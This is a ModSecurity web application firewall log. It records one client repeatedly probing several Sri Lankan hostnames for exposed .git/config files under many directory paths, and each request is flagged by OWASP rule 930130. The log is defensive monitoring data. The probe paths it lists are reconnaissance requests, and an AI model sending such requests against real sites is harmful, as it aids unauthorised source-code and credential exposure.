[Fri Jul 17 08:36:32.102701 2026] [security2:error] [pid 1993619:tid 1993619] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/api/.git/config"] [unique_id "almcOI1dLClkUfK_dfHiqAAAAAI"]
[Fri Jul 17 08:36:32.103104 2026] [security2:error] [pid 1993619:tid 1993619] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/api/.git/config"] [unique_id "almcOI1dLClkUfK_dfHiqAAAAAI"]
[Fri Jul 17 08:36:32.494454 2026] [security2:error] [pid 2018741:tid 2018741] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/blog/.git/config"] [unique_id "almcOLoj0IkvhSCYadl_SAAAAAQ"]
[Fri Jul 17 08:36:32.494781 2026] [security2:error] [pid 2018741:tid 2018741] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/blog/.git/config"] [unique_id "almcOLoj0IkvhSCYadl_SAAAAAQ"]
[Fri Jul 17 08:36:32.584287 2026] [security2:error] [pid 1996894:tid 1996894] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/app/.git/config"] [unique_id "almcOI4Wmn5zySdNNkAl1wAAABM"]
[Fri Jul 17 08:36:32.584577 2026] [security2:error] [pid 1996894:tid 1996894] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/app/.git/config"] [unique_id "almcOI4Wmn5zySdNNkAl1wAAABM"]
[Fri Jul 17 08:36:32.584930 2026] [security2:error] [pid 1996894:tid 1996894] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOI4Wmn5zySdNNkAl1wAAABM"]
[Fri Jul 17 08:36:32.591602 2026] [security2:error] [pid 1996894:tid 1996894] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /libs/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/libs/.git/config"] [unique_id "almcOI4Wmn5zySdNNkAl2AAAABM"]
[Fri Jul 17 08:36:32.591882 2026] [security2:error] [pid 1996894:tid 1996894] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/libs/.git/config"] [unique_id "almcOI4Wmn5zySdNNkAl2AAAABM"]
[Fri Jul 17 08:36:33.158217 2026] [security2:error] [pid 2015125:tid 2015125] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcNxJ0z2bEtnOrIXU-AgAAAAk"]
[Fri Jul 17 08:36:33.163747 2026] [security2:error] [pid 2015125:tid 2015125] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /microservices/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/microservices/.git/config"] [unique_id "almcORJ0z2bEtnOrIXU-AwAAAAk"]
[Fri Jul 17 08:36:33.164222 2026] [security2:error] [pid 2015125:tid 2015125] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/microservices/.git/config"] [unique_id "almcORJ0z2bEtnOrIXU-AwAAAAk"]
[Fri Jul 17 08:36:33.458294 2026] [security2:error] [pid 2008451:tid 2008451] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcNwPhWp7RzB65h36f5gAAAA0"]
[Fri Jul 17 08:36:33.464042 2026] [security2:error] [pid 2008451:tid 2008451] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/build/.git/config"] [unique_id "almcOQPhWp7RzB65h36f5wAAAA0"]
[Fri Jul 17 08:36:33.464447 2026] [security2:error] [pid 2008451:tid 2008451] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/build/.git/config"] [unique_id "almcOQPhWp7RzB65h36f5wAAAA0"]
[Fri Jul 17 08:36:33.464895 2026] [security2:error] [pid 2008451:tid 2008451] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOQPhWp7RzB65h36f5wAAAA0"]
[Fri Jul 17 08:36:33.474373 2026] [security2:error] [pid 2008451:tid 2008451] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wp-content/.git/config"] [unique_id "almcOQPhWp7RzB65h36f6AAAAA0"]
[Fri Jul 17 08:36:33.474672 2026] [security2:error] [pid 2008451:tid 2008451] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wp-content/.git/config"] [unique_id "almcOQPhWp7RzB65h36f6AAAAA0"]
[Fri Jul 17 08:36:33.512879 2026] [security2:error] [pid 2018746:tid 2018746] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/wp-admin/.git/config"] [unique_id "almcOT667v4yT6tz50zO6AAAAAo"]
[Fri Jul 17 08:36:33.513250 2026] [security2:error] [pid 2018746:tid 2018746] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/wp-admin/.git/config"] [unique_id "almcOT667v4yT6tz50zO6AAAAAo"]
[Fri Jul 17 08:36:33.518614 2026] [security2:error] [pid 2018747:tid 2018747] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/admin/.git/config"] [unique_id "almcOaA_b4B7w6EYONNvTgAAAAs"]
[Fri Jul 17 08:36:33.519216 2026] [security2:error] [pid 2018747:tid 2018747] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/admin/.git/config"] [unique_id "almcOaA_b4B7w6EYONNvTgAAAAs"]
[Fri Jul 17 08:36:33.596179 2026] [security2:error] [pid 1993671:tid 1993671] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wp-content/.git/config"] [unique_id "almcOQ5GPQ6hs4VrfMo-1gAAAAY"]
[Fri Jul 17 08:36:33.596485 2026] [security2:error] [pid 1993671:tid 1993671] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wp-content/.git/config"] [unique_id "almcOQ5GPQ6hs4VrfMo-1gAAAAY"]
[Fri Jul 17 08:36:33.596819 2026] [security2:error] [pid 1993671:tid 1993671] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOQ5GPQ6hs4VrfMo-1gAAAAY"]
[Fri Jul 17 08:36:33.599641 2026] [security2:error] [pid 1993671:tid 1993671] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wordpress/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/wordpress/.git/config"] [unique_id "almcOQ5GPQ6hs4VrfMo-1wAAAAY"]
[Fri Jul 17 08:36:33.599923 2026] [security2:error] [pid 1993671:tid 1993671] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/wordpress/.git/config"] [unique_id "almcOQ5GPQ6hs4VrfMo-1wAAAAY"]
[Fri Jul 17 08:36:33.841512 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcN90t9Kb_MdNxrg6_wgAAAAM"]
[Fri Jul 17 08:36:33.844691 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/wp-content/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_wwAAAAM"]
[Fri Jul 17 08:36:33.844968 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/wp-content/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_wwAAAAM"]
[Fri Jul 17 08:36:33.845119 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:33.845262 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almcOd0t9Kb_MdNxrg6_wwAAAAM"]
[Fri Jul 17 08:36:33.846178 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /libs/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/libs/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_xAAAAAM"]
[Fri Jul 17 08:36:33.846397 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/libs/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_xAAAAAM"]
[Fri Jul 17 08:36:33.846630 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOd0t9Kb_MdNxrg6_xAAAAAM"]
[Fri Jul 17 08:36:33.885090 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/admin/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_xgAAAAM"]
[Fri Jul 17 08:36:33.885366 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/admin/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_xgAAAAM"]
[Fri Jul 17 08:36:33.885614 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOd0t9Kb_MdNxrg6_xgAAAAM"]
[Fri Jul 17 08:36:33.888996 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /administrator/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/administrator/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_xwAAAAM"]
